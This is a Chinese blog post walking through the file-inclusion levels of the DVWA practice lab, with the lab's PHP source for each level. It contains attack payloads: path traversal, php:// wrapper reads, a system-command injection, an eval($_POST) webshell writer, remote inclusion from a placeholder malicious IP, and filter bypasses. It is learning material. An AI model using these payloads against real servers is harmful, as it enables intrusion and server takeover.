DVWA-File Inclusion(自我学习分析)

释放双眼,带上耳机,听听看~!

没办法 我才菜了 也不知道发什么,,,这个还不过的话,我还是乖乖自学以后在过来吧,,

先上文件包含的定义:

文件包含漏洞,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性(inclued()、require()、include_once()、require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格的审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件),文件包含通常文件上传来获得websheLL

(这些都是我自己踩得坑)注意:在进行DVWA 靶场文件包含漏洞练习时,记得在php.ini文件中开启allow_url_include、allow_url_fopen,以及要在phpstudy中的php配置中打开这两个选项,然后文件包含还有一个致命弱点,就是假如我上传的内容是一句话木马,就算我用.jpg为后缀的话,文件包含时,执行的时候还是会以php的形式执行返回(我觉得不行)

开始菜鸡的挑战了!

low

经过测试以及查看代码,我们可以发现,服务器对我们构造的page参数没有任何的检查和过滤,以及当后台开启了allow_url_include的选项时,我们可以进行服务器本地文件的任意读取,当我们输入一个服务器中并不存在的文件时,我们可以发现它是将绝对物理路径给暴露出来了,因此我们可以对文件的包含时有更精准的目标(表达不好别介意)

本地包含

page=../../../../../../../../../PHPTutorialWWWDVWAphp.ini

同时我们可以用php封装协议来读取php文件

例如:php://filter/convert.base64-encode/resource=file1.php

这句话会读取当前目录下的file1.php的源代码并用base64加密后返回到页面上

再比如php://input,提交恶意数据,可以直接让服务器执行任意命令

举个例子:我们提交<?php system(‘net user’); ?>

<?php fput(fopen(“shell.php”,”w”),”<?php eval($_POST[‘READER’]);?>”)?>

我在提交shell的时候,一直成功不了。。。(开始查资料,,)

然后使用远程文件包含,构造远程url:http://192.168.0.20/dvwa/vulnerabilities/fi/page=http://恶意ip/shell.php

shell.php的内容如下

&lt;?php

 phpinfo();

?&gt;

构造完链接进行访问,可以发现恶意ip网址的shell.php被成功执行,并回显回来了

&lt;?php

// The page we wish to display

$file = $_GET[ ‘page’ ];

?&gt; 

medium (冲!)

我经过一番尝试,发现php封装协议依旧可以执行成功,但是在page参数后面简单添加我们想知道的文件内容以及简单的远程文件已经不行了,,然后开始想新姿势,我就查看源代码,然后发现服务器对我们的传入的page参数有了一定防范,将http://、https:/、../、.. 都进行了替换为空的操作,但是这种防范很容易绕过,采用双写以及大小写混写的方法就可以绕过对http://以及http://的过滤 …/./这种搭配就可以绕过对../的过滤 (不得不说 网上姿势真的很多啊)

&lt;?php

// The page we wish to display

$file = $_GET[ ‘page’ ];

// Input validation

$file = str_replace( array( &quot;http://&quot;, &quot;https://&quot; ), &quot;&quot;, $file );

$file = str_replace( array( &quot;../&quot;, &quot;..&quot;&quot; ), &quot;&quot;, $file );

?&gt; 

high

查看源代码,发现只能读取名字以file开头的文件,但是我们还有file协议,可以让我们读取服务器的文件

file://c:key.txt,并且如果我们知道他的绝对路径的情况下,配合我们的文件上传。即使我们上传的文件是以.jpg等为后缀的,我们采用file伪协议进行包含时,文件还是会以php的形式执行并返回的,所以掌握file伪协议的情况下配合文件上传图片马是可以拿下webshell(这个是问了一位表哥的,,还是太菜了。。)

&lt;?php

// The page we wish to display

$file = $_GET[ ‘page’ ];

//fnmatch() 函数根据指定的模式来匹配文件名或字符串。用来确认$file中是以file开头

// Input validation

if( !fnmatch( &quot;file*&quot;, $file ) &amp;&amp; $file != &quot;include.php&quot; ) {

    // This isn’t the page we want!

    echo &quot;ERROR: File not found!&quot;;

    exit;

}

?&gt; 

impossible

从下面代码我们可以发现,服务器这次采用了白名单的机制,只允许我们传入指定的值,如果不是传入指定的值,就会报错

&lt;?php

// The page we wish to display

$file = $_GET[ ‘page’ ];

// Only allow include.php or file{1..3}.php

if( $file != &quot;include.php&quot; &amp;&amp; $file != &quot;file1.php&quot; &amp;&amp; $file != &quot;file2.php&quot; &amp;&amp; $file != &quot;file3.php&quot; ) {

    // This isn’t the page we want!

    echo &quot;ERROR: File not found!&quot;;

    exit;

}

?&gt; 

搞完靶场以后,发现文件包含与文件上传结合,可以直接上传图片文件,然后用文件包含,这样他会以php的格式执行代码,,这个还是让那些管理员头疼吧  我目前学艺不精,,只会去攻击,,

BUGFOR公告BUGFOR课程安全独秀圈

BUGFOR网安助力计划-第一期【WEB安全入门15天公开课】录屏!

2020-4-19 0:51:20

安全独秀圈

Covenant是面向红色团队的协作.NET C2框架

2020-4-21 13:32:21

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索